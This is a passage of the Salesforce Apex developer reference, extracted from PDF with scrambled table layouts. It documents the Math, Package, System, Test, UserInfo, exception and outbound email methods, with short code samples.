Returns the value of the first Double raised to the power of exp Returns a positive Double that is greater than or equal to 0.0 and less than 1.0 Returns the value that is closest in value to d and is equal to a mathematical integer Returns the value that is closest in value to d and is equal to a mathematical integer Do not use. This method is deprecated as of the Winter '08 Release. Instead, use roundToLong or round. Returns the closest Integer to the specified Double by adding 1/2, taking the floor of the result, and casting the result to type Integer. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error. Returns the closest Long to the specified Decimal by adding 1/2, taking the floor of the result, and casting the result to type Long Returns the closest Long to the specified Decimal by adding 1/2, taking the floor of the result, and casting the result to type Long Returns the closest Long to the specified Double by adding 1/2, taking the floor of the result, and casting the result to type Long Returns the signum function of the specified Decimal, which is 0 if d is 0, 1.0 if d is greater than 0, -1.0 if d is less than 0

random rint rint round

Double Decimal d Double d Double d Decimal Double Integer

round

Decimal d

Long

roundToLong

Decimal d

Long

roundToLong

Double d

Long

signum

Decimal d

Decimal

273

Reference

Apex System Methods

Name
signum

Arguments Double d

Return Type Double

Description Returns the signum function of the specified Double, which is 0 if d is 0, 1.0 if d is greater than 0, -1.0 if d is less than 0 Returns the trigonometric sine of the angle specified by
d

sin sin sinh sinh sqrt sqrt tan tan tanh

Decimal d Double d Decimal d Double d Decimal d Double d Decimal d Double d Decimal d

Decimal Double Decimal Double Decimal Double Decimal Double Decimal

Returns the trigonometric sine of the angle specified by

d

Returns the hyperbolic sine of d. The hyperbolic sine of d is defined to be (ex - e-x)/2 where e is Euler's number. Returns the hyperbolic sine of d. The hyperbolic sine of d is defined to be (ex - e-x)/2 where e is Euler's number. Returns the correctly rounded positive square root of d Returns the correctly rounded positive square root of d Returns the trigonometric tangent of the angle specified by d Returns the trigonometric tangent of the angle specified by d Returns the hyperbolic tangent of d. The hyperbolic tangent of d is defined to be (ex - e-x)/(ex + e-x) where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is always less than 1. Returns the hyperbolic tangent of d. The hyperbolic tangent of d is defined to be (ex - e-x)/(ex + e-x) where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is always less than 1.

tanh

Double d

Double

Package Methods A package version is a set of components uploaded in a package. It is denoted by a version number that has the format majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch versions for your organization, contact salesforce.com. The package methods are used by package developers to customize behavior for different package versions. They allow the package developer to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. The package methods rely on special objects to allow a class to exhibit different behavior when it references different package versions. These objects can only be used in classes that are in a managed package.
Package.Version.Request

Apex classes and triggers are saved with the version settings for each installed managed package that the Apex class or trigger references. This context object represents the package version referenced by the class or trigger.

274

Reference

Apex System Methods

Package.Version.majorNumber.minorNumber

This object represents a package version referenced by the class or trigger. For example, Package.Version.2.1 represents version 2.1 of the package. You can use this object together with Package.Version.Request to specify different behavior for different package versions. You can only use this object to refer to a Managed - Released package version. You cannot use it to reference Managed - Beta package versions. Note: You cannot use the Package.Version.Request object in unmanaged packages.

Name
isGreaterThan

Arguments Package Version

Package.Version.major.minor

Return Description Type Boolean Returns true if the package version is greater than the package version specified in the argument. For example:
if (Package.Version.Request == Package.Version.1.0) { // do something } else if (Package.Version.Request.isGreaterThan(Package.Version.2.0)) { // do something different } else if (Package.Version.Request.isGreaterThan(Package.Version.2.3)) { // do something completely different }

isGreaterThanOrEqual Package Version Boolean Returns true if the package version is greater than or equal to Package.Version.major.minor the package version specified in the argument. isLessThan

Package Version
Package.Version.major.minor

Boolean Returns true if the package version is less than the package version specified in the argument.

isLessThanOrEqual Package Version Boolean Returns true if the package version is less than or equal to the Package.Version.major.minor package version specified in the argument.

For more information, see Versioning Apex Code Behavior on page 172. Search Methods The following are the system static methods for Search. Name
query

Arguments String query

Return Type sObject[sObject[]]

Description Creates a dynamic SOSL query at runtime. This method can be used wherever a static SOSL query can be used, such as in regular assignment statements and for loops. For more information, see Dynamic SOQL on page 139.

275

Reference

Apex System Methods

System Methods The following are the static methods for System. Note: AnyDataType represents any primitive, object record, array, map, set, or the special value null.

Name
abortJob

Arguments String Job_name

Return Type Void

Description Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program. Stops the specified job. The stopped job is still visible in the job queue. The Job_Name is the name specified when the job was created with the System.Schedule method. Note: This method can only be used with the System.Schedule method.

assert

Boolean
condition,

Void

Any data type

opt_msg

Asserts that condition is true. If it is not, a runtime exception is thrown with the optional second argument, opt_msg as part of its message.

assertEquals

Any data type x, Any data type y, Any data type

opt_msg

Void

Asserts that the first two arguments, x and y are the same. If they are not, a runtime exception is thrown with the optional third argument, opt_msg as part of its message. Asserts that the first two arguments, x and y are different. If they are the same, a runtime exception is thrown with the optional third argument, opt_msg as part of its message. Returns a reference to the current page. This is used with Visualforce pages. For more information, see PageReference Class on page 313. Returns the current time in milliseconds (difference between the current time and midnight, January 1, 1970 UTC). Writes the argument msg, in string format, to the execution debug log. If you do not specify a log level, the DEBUG log level is used. This means that any debug method with no log level specified or a

assertNotEquals Any data type x,

Void

Any data type y, Any data type

opt_msg

currentPageReference

System.PageReference

currentTimeMillis

Long

debug

Any data type msg Void

276

Reference

Apex System Methods

Name

Arguments

Return Type

Description log level of ERROR, WARN, INFO or DEBUG is written to the debug log. Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets ([]). When an array or list is printed, the output is enclosed in parentheses (()). Note: Calls to System.debug are not counted as part of Apex code coverage in unit tests. For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.

debug

Enum logLevel Any data type msg

Void

Specifies the log level for all debug methods. Note: Calls to System.debug are not counted as part of Apex code coverage in unit tests. Valid log levels are (listed from lowest to highest):
ERROR WARN INFO DEBUG FINE FINER FINEST

Log levels are cumulative. For example, if the lowest level, ERROR is specified, only debug methods with the log level of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN. In the following example, the string MsgTxt is not written to the debug log, because the log level is ERROR, and the debug method has a level of INFO.
System.debug (Logginglevel.ERROR); System.debug(Logginglevel.INFO, 'MsgTxt');

For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help.
now

Datetime

Returns the current date and time in the GMT time zone.

277

Reference

Apex System Methods

Name
process

Arguments
WorkItemIDs

Return Type

Description Processes the list of work item IDs. For more information, see Apex Approval Processing Classes on page 340.

List<WorkItemIDs> List<Id> String Action String Comments String

NextApprover

resetPassword

ID userID

System.ResetPasswordResult Resets the password for the specified user. When the user logs in with the new password, they are Boolean prompted to enter a new password and to select a send_user_email security question and answer if they haven't already. If you specify true for send_user_email, the user is sent an email notifying them that their password was reset. A link to sign onto Salesforce.com using the new password is included in the email. Use setPassword if you don't want the user to be prompted to enter a new password when they log in. Caution: Be careful with this method, and do not expose this functionality to end-users.

runAs

Package.version
version

Void

Changes the current package version to the package version specified in the argument. A package version is a set of components uploaded in a package. It is denoted by a version number that has the format majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program. For information on enabling patch versions for your organization, contact salesforce.com. As well as a set of components, a package version encompasses specific behavior. A package developer can use package version methods on page 274 to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed package that the Apex class or trigger references. This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method effectively sets the Package.Version.Request object in a test method so that you can test the behavior for different package versions.

278

Reference

Apex System Methods

Name

Arguments

Return Type

Description You can only use runAs in a test method. There is no limitation to the number of calls to this method in a transaction. For sample usage of this method, see Testing Behavior in Package Versions on page 173.

runAs

User user_var

Void

Changes the current user to the specified user. All of the specified user's permissions and record sharing are enforced during the execution of runAs. You can only use runAs in a test method. Note: The runAs method ignores user license limits.You can create new users with runAs even if your organization has no additional user licenses. For more information, see Using the runAs Method on page 123. Note: Only 20 calls to runAs specifying a user are allowed in a transaction.

schedule

String JobName String

CronExpression

String

Object
schedulable_class

Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program. Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified by CronExpression. Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. Note: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. For more information see, Using the System.Schedule Method on page 280. Use the abortJob method to stop the job after it has been scheduled.

279

Reference

Apex System Methods

Name
setPassword

Arguments ID userID String password

Return Type Void

Description Sets the password for the specified user. When the user logs in with this password, they are not prompted to create a new password. Use resetPassword if you want the user to go through the reset process and create their own password. Caution: Be careful with this method, and do not expose this functionality to end-users.

submit

List<WorkItemIDs> List<ID>
WorkItemIDs

String Comments String

NextApprover

Submits the processed approvals. For more information, see Apex Approval Processing Classes on page 340.

today

Date

Returns the current date in the current user's time zone.

System Logging Levels Use the loggingLevel enum to specify the logging level for all debug methods. Valid log levels are (listed from lowest to highest):
ERROR WARN INFO DEBUG FINE FINER FINEST

Log levels are cumulative. For example, if the lowest level, ERROR is specified, only debug methods with the log level of ERROR are logged. If the next level, WARN, is specified, the debug log contains debug methods specified as either ERROR or WARN. In the following example, the string MsgTxt is not written to the debug log because the log level is ERROR and the debug method has a level of INFO:
System.LoggingLevel level = LoggingLevel.ERROR; System.debug(logginglevel.INFO, 'MsgTxt');

For more information on log levels, see Setting Debug Log Categories and Levels in the Salesforce.com online help. Using the System.Schedule Method Note: The Apex scheduler is currently available through a limited release program. Contact salesforce.com to verify if your organization can participate in the limited release program.

280

Reference

Apex System Methods

After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. Note: Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time. The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

Note: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability. The System.Schedule method uses the user's timezone for the basis of all schedules. The following are the values for the expression: Name
Seconds Minutes Hours Day_of_month Month

Values 059 059 023 131 112 or the following: JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC 17 or the following: SUN MON TUE WED THU FRI SAT null or 19702099

Special Characters None None

, - * / , - * ? / L W , - * /

Day_of_week

, - * ? / L #

optional_year

, - * /

281

Reference

Apex System Methods

The special characters are defined as follows: Delimits values. For example, use JAN, MAR, APR to specify more than one month. Specifies a range. For example, use JAN-MAR to specify more than one month. Specifies all values. For example, if Month is specified as *, the job is scheduled for every month. Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other. / Specifies increments. The number before the slash specifies when the intervals should begin, and the number after the slash is the interval amount. For example, if you specify 1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting on the first of the month. L Specifies the end of a range (last). This is only available for Day_of_month and Day_of_week. When used with Day of month, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with Day_of_week by itself, it always means 7 or SAT. When used with a Day_of_week value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results may be unexpected. W Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday.
, * ?

Tip: Use the L and W together to specify the last weekday of the month.

# Specifies the nth day of the month, in the format weekday#day_of_month. This is only available for Day_of_week. The number before the # specifies weekday (SUN-SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month.

The following are some examples of how to use the expression. Expression
0 0 13 * * ? 0 0 22 ? * 6L 0 0 10 ? * MON-FRI 0 0 20 * * ? 2010

Description Class runs every day at 1 P.M. Class runs the last Friday of every month at 10 P.M. Class runs Monday through Friday at 10 A.M. Class runs every day at 8 P.M. during the year 2010.

In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 A.M., on the 13th of February.
proschedule p = new proschedule(); String sch = '0 0 8 13 2 ?'; system.schedule('One Time Pro', sch, p);

System.ResetPasswordResult Object A System.ResetPasswordResult object is returned by the System.ResetPassword method. This can be used to access the generated password. The following is the instance method for the System.ResetPasswordResult object:

282

Reference

Apex System Methods

Method
getPassword

Arguments

Returns String

Description Returns the password generated as a result of the

System.ResetPassword

method that instantiated this System.ResetPasswordResult object.

Test Methods The following are the system static methods for Test. Name
setCurrentPage

Arguments PageReference page

Return Type Description Void Void A Visualforce test method that sets the current PageReference for the controller. A Visualforce test method that sets the current PageReference for the controller. Defines a list of fixed search results to be returned by all subsequent SOSL statements in a test method. If opt_set_search_results is not specified, all subsequent SOSL queries return no results. The list of record IDs specified by opt_set_search_results replaces the results that would normally be returned by the SOSL queries if they were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL queries, they are applied to the list of fixed search results. For more information, see Adding SOSL Queries to Unit Tests on page 125.

setCurrentPageReference PageReference page

setFixedSearchResults ID[] Void opt_set_search_results

startTest

Void

Marks the point in your test code when your test actually begins. Use this method when you are testing governor limits. You can also use this method with stopTest to ensure that all asynchronous calls that come after the startTest method are run before doing any assertions or testing. Each testMethod is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need in order to run your test. After you call this method, the limits that get applied are based on either the first DML statement (like INSERT, DELETE, and so on) or the first

283

Reference

Apex System Methods

Name

Arguments

Return Type Description Web service invocation. The following example tests trigger limits:
test.starttest(); // The first significant statement is below // Trigger context limits applied Account s = new Account(name='test'); insert s;

The following example tests webService limits:

test.starttest(); String holder = wsclass.executeWebService(foo);

stopTest

Void

Marks the point in your test code when your test ends. Use this method in conjunction with the startTest method. Each testMethod is allowed to call this method only once. After calling this method, any post assertions are done in the original context. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not count against your limits for the number of queued jobs.

UserInfo Methods The following are the system static methods for UserInfo. Name
getDefaultCurrency getFirstName getLanguage getLastName

Arguments

Return Type String String String String

Description Returns the context user's default currency code if their organization uses multiple currencies Returns the context user's first name Returns the context user's language Returns the context user's last name

284

Reference

Using Exception Methods

Name
getLocale

Arguments

Return Type String

Description Returns the context user's locale. For example:

String result = UserInfo.getLocale(); System.assertEquals('en_US', result);

getName

String

Returns the context user's full name. The format of the name depends on the language preferences specified for the organization. The format is one of the following: FirstName LastName LastName, FirstName Returns the context organization's ID Returns the context organization's company name Returns the context user's profile ID Returns the session ID for the current session Returns the context user's ID Returns the context user's login name Returns the context user's role ID Returns the context user's type Returns true if the context user has a license to the managed package denoted by namespace. Otherwise, returns false. A TypeException is thrown if namespace is an invalid parameter.

getOrganizationId getOrganizationName getProfileId getSessionId getUserId getUserName getUserRoleId getUserType

String String String String String String String String

isCurrentUserLicensed String namespace Boolean

isMultiCurrencyOrganization

Boolean

Specifies whether the organization uses multiple currencies

Using Exception Methods

All exceptions support built-in methods for returning the error message and exception type. In addition to the standard exception class, there are several different types of exceptions: Exception
AsyncException CalloutException DmlException

Description Any issue with an asynchronous operation, such as failing to enqueue an asynchronous call. Any issue with a Web service operation, such as failing to make a callout to an external system. Any issue with a DML statement, such as an insert statement missing a required field on a record.

285

Reference

Using Exception Methods

Exception
EmailException

Description Any issue with email, such as failure to deliver. For more information, see Apex Email Classes on page 289. information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm.

InvalidParameterValueException Any issue with a URL. This is generally used with Visualforce pages. For more

ListException MathException NoAccessException

Any issue with a list, such as attempting to access an index that is out of bounds. Any issue with a mathematical operation, such as dividing by zero. Any issue with unauthorized access, such as trying to access an sObject that the current user does not have access to. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm. Any issue with data that does not exist, such as trying to access an sObject that has been deleted. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm. Any issue with dereferencing null, such as in the following code:
String s; s.toLowerCase(); // Since s is null, this call causes // a NullPointerException

NoDataFoundException

NullPointerException

QueryException SearchException

Any issue with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject variable. Any issue with SOSL queries executed with the Force.com Web services API search() call, for example, when the searchString parameter contains less than two characters. For more information, see the Force.com Web services API Developer's Guide at www.salesforce.com/us/developer/docs/api/index.htm. Any issue with static methods in the Crypto utility class. For more information, see Crypto Class on page 338. Any issue with the serialization of data. This is generally used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm. Any issue with sObject records, such as attempting to change a field in an update statement that can only be changed during insert. Any issue with Strings, such as a String that is longer than 100,000 characters. Any issue with type conversions, such as attempting to convert the String 'a' to an Integer using the valueOf method. Any issue with a Visualforce page. For more information on Visualforce, see the Visualforce Developer's Guide at www.salesforce.com/us/developer/docs/pages/index.htm. Any issue with the XmlStream classes, such as failing to read or write XML. For more information, see XmlStream Classes on page 344.

SecurityException SerializationException

SObjectException StringException TypeException VisualforceException XmlException

286

Reference

Using Exception Methods

The following is an example using the DmlException exception:

Account[] accts = new Account[]{new Account(billingcity = 'San Jose')}; try { insert accts; } catch (System.DmlException e) { for (Integer i = 0; i < e.getNumDml(); i++) { // Process exception here System.debug(e.getDmlMessage(i)); } }

Common Exception Methods Exception methods are all called by and operate on a particular instance of an exception. The table below describes all instance exception methods. All types of exceptions have the following methods in common: Name
getCause getMessage getTypeName initCause setMessage

Arguments

Return Type Exception String String

Description Returns the cause of the exception as an exception object. Returns the error message that displays for the user. Returns the type of exception, such as DMLException, ListException, MathException, and so on. Sets the cause for the exception, if one has not already been set. Sets the error message that displays for the user

sObject Exception Void String s Void

DMLException and EmailException Methods In addition to the common exception methods, DMLExceptions and EmailExceptions have the following additional methods: Name
getDmlFieldNames

Arguments Integer I

Return Type String []

Description Returns the names of the field or fields that caused the error described by the ith failed row. Returns the field token or tokens for the field or fields that caused the error described by the ith failed row. For more information on field tokens, see Dynamic Apex on page 134. Returns the ID of the failed record that caused the error described by the ith failed row. Returns the original row position of the ith failed row.

getDmlFields

Integer i

Schema.sObjectField []

getDmlId

Integer i

String

getDmlIndex

Integer i

Integer

287

Reference

Apex Classes

Name
getDmlMessage

Arguments Integer i Integer i

Return Type String String

Description Returns the user message for the ith failed row. Deprecated. Use getDmlType instead. Returns the Apex failure code for the ith failed row. Returns the value of the System.StatusCode enum. For example:
try { insert new Account(); } catch (SystemDmlException ex) { System.assertEquals( S t a t u s C o d e . R E Q U I R E D _ F I E L D _ M I S S I N G , ex.getDmlType(0); }

getDmlStatusCode

getDmlType

Integer i

System.StatusCode

For more information about System.StatusCode, see Enums on page 37.

getNumDml

Integer

Returns the number of failed rows for DML exceptions.

Apex Classes
Though you can create your classes using Apex, you can also use the system delivered classes for building your application. Apex Email Classes Exception Class Visualforce Classes Pattern and Matcher Classes HTTP (RESTful) Services Classes Apex Approval Processing Classes XmlStream Classes Business Hours Class Apex Community Classes Site Class

288

Reference

Apex Email Classes

Apex Email Classes

Apex includes several classes and objects you can use to access Salesforce.com outbound and inbound email functionality. For more information, see the following: Inbound Email on page 297 Outbound Email on page 289

Outbound Email You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind carbon copy address), use Salesforce.com email templates, and be in plain text or HTML format, or those generated by Visualforce. Note: Visualforce email templates cannot be used for mass email.

You can use Salesforce.com to track the status of email in HTML format, including the date the email was sent, first opened and last opened, and the total number of times it was opened. (For more information, see Tracking HTML Email in the Salesforce.com online help.) To send individual and mass email with Apex, use the following classes:
SingleEmailMessage

Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();

MassEmailMessage

Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();

Messaging

Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage or MassEmailMessage classes, and returns a SendEmailResult object. The syntax for sending a email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);

where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The default is true. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189. Note the following: The email is not sent until the Apex transaction is committed.

289

Reference

Apex Email Classes

The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All email that is returned, bounced, or received out-of-office replies goes to the user calling the method. All mass email and single email messages sent with the sendEmail method count against the daily mass mail limit of the sending organization. When the daily mass mail limit for the organization is reached, all calls to the sendEmail method are rejected, and the user receives a MASS_MAIL_LIMIT_EXCEEDED error code. However, single email messages sent through the application are still allowed. Any error returned in the SendEmailResult object indicates that no email was sent.

Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name. The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.

Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives a DUPLICATE_SENDER_DISPLAY_NAME error. For more information, see Organization-Wide Addresses in the Salesforce.com online help. Example
// Create a new single email message object // that will send out a single email to the addresses in the To, CC & BCC list. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); // Strings to hold the email addresses to which you are sending the email. String[] toAddresses = new String[] {'[email protected]'}; String[] ccAddresses = new String[] {'[email protected]'}; // Assign the addresses for the To and CC lists to the mail object. mail.setToAddresses(toAddresses); mail.setCcAddresses(ccAddresses); // Specify the address used when the recipients reply to the email. mail.setReplyTo('[email protected]'); // Specify the name used as the display name. mail.setSenderDisplayName('Salesforce Support'); // Specify the subject line for your email address. mail.setSubject('New Case Created : ' + case.Id); // Set to True if you want to BCC yourself on the email. mail.setBccSender(false); // Optionally append the salesforce.com email signature to the email. // The email address of the user executing the Apex Code will be used. mail.setUseSignature(false); // Specify the text content of the email. mail.setPlainTextBody('Your Case: ' + case.Id +' has been created'); mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created<p>'+ ' View case <a href=https://na1.salesforce.com/'+case.Id+'>click here</a>'); // Send the email you have created. Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });

For more information, see the following: Base Email Methods on page 291

290

Reference

Apex Email Classes

Single Email Message Methods on page 292 Mass Email Message Methods on page 294 EmailFileAttachment Methods on page 296 SendEmailResult Object Methods on page 296 SendEmailError Object Methods on page 297

Base Email Methods The following table contains the email object methods used when sending both single and mass email. Note: If templates are not being used, all email content must be in plain text, HTML, or both.Visualforce email templates cannot be used for mass email.

Name
setBccSender

Argument Type Boolean

Returns Void

Description Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent. Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ ENABLED. Contact your salesforce.com representative for information on BCC compliance.

setReplyTo setSaveAsActivity

String Boolean

Void Void

Optional. The email address that receives the message when a recipient replies. Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates. Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field. Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value. Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.

setSenderDisplayName

String

Void

setSubject

String

Void

setUseSignature

Boolean

Void

291

Reference

Apex Email Classes

Single Email Message Methods The following table contains the email object methods used when sending a single email. These are in addition to the base email methods. Name
setBccAddresses

Argument Type String[]

Returns Void

Description Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is ten. This argument is allowed only when a template is not used. At least one value must be specified in one of the following fields: toAddresses, ccAddresses, bccAddresses, targetObjectId, or targetObjectIds. If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ ENABLED. Contact your salesforce.com representative for information on BCC compliance.

setCcAddresses

String[]

Void

Optional. A list of carbon copy (CC) addresses. The maximum allowed is five. This argument is allowed only when a template is not used. All email must have a recipient value of at least one of the following:
toAddresses ccAddresses bccAddresses targetObjectId targetObjectIds

setCharset setDocumentAttachments

String ID[]

Void Void

Optional. The character set for the email. If this value is null, the user's default value is used. Optional. A list containing the ID of each document object you want to attach to the email. You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB. Optional. A list containing the file names of the binary and text files you want to attach to the email. You can attach multiple files as long as the total size of all attachments does not exceed 10 MB. Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with the organization. You must specify a value for

setFileAttachments

EmailFileAttachment[] Void

setHtmlBody

String

Void

292

Reference

Apex Email Classes

Name

Argument Type

Returns

Description
setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setInReplyTo

String

Void

Optional. The In-Reply-To field of the outgoing email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs. Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody. Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field cannot be set if the setSenderDisplayName field is already set. Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message IDs, and possibly the In-Reply-To fields. Optional. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data. Do not specify the IDs of records that have the Email Opt Out option selected. All email must have a recipient value of at least one of the following:
toAddresses ccAddresses bccAddresses targetObjectId targetObjectIds

setPlainTextBody

String

Void

setOrgWideEmailAddressId ID

Void

setReferences

String

Void

setTargetObjectId

ID

Void

setToAddresses

String[]

Void

Optional. A list of email address to which you are sending the email. The maximum number of email addresses allowed is ten. This argument is allowed only when a template is not used. All email must have a recipient value of at least one of the following:
toAddresses ccAddresses bccAddresses targetObjectId

293

Reference

Apex Email Classes

Name

Argument Type

Returns

Description
targetObjectIds

setWhatId

ID

Void

Optional. If you specify a contact for the targetObjectId field, you can specify a whatId as well. This helps to further ensure that merge fields in the template contain the correct data. The value must be one of the following types: Account Asset Campaign Case Contract Opportunity Order Product Solution Custom

Mass Email Message Methods The following table contains the unique email object methods used when sending mass email. These are in addition to the base email methods. Name
setDescription setTargetObjectIds

Argument Type String ID[]

Returns Void Void

Description The description of the email. A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users). You can list up to 250 IDs per email. If you specify a value for the targetObjectIds field, optionally specify a whatId as well to set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data. Do not specify the IDs of records that have the Email Opt Out option selected. All email must have a recipient value of at least one of the following:
toAddresses ccAddresses bccAddresses targetObjectId

294

Reference

Apex Email Classes

Name

Argument Type

Returns

Description
targetObjectIds

setTemplateID

ID

Void

The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody. Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to further ensure that merge fields in the template contain the correct data. The values must be one of the following types: Contract Case Opportunity Product Note: If you specify whatIds, specify one for each targetObjectId; otherwise, you will receive an INVALID_ID_FIELD error.

setWhatIds

ID[]

Void

In addition, the Messaging.MassEmailMessage class has access to the base email message methods. Name
setBccSender

Argument Type Boolean

Returns Void

Description Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent. Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ ENABLED. Contact your salesforce.com representative for information on BCC compliance.

setReplyTo setSaveAsActivity

String Boolean

Void Void

Optional. The email address that receives the message when a recipient replies. Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the

295

Reference

Apex Email Classes

Name

Argument Type

Returns

Description organization, you will be able to track open rates.

setSenderDisplayName

String

Void

Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field. Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value. Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.

setSubject

String

Void

setUseSignature

Boolean

Void

EmailFileAttachment Methods The EmailFileAttachment object is used in the SingleEmailMessage object to specify attachments passed in as part of the request, as opposed to existing documents in Salesforce.com. Name
setBody setContentType setFileName setInline

Argument Type Blob attachment String

content_type

Returns Void Void Void Void

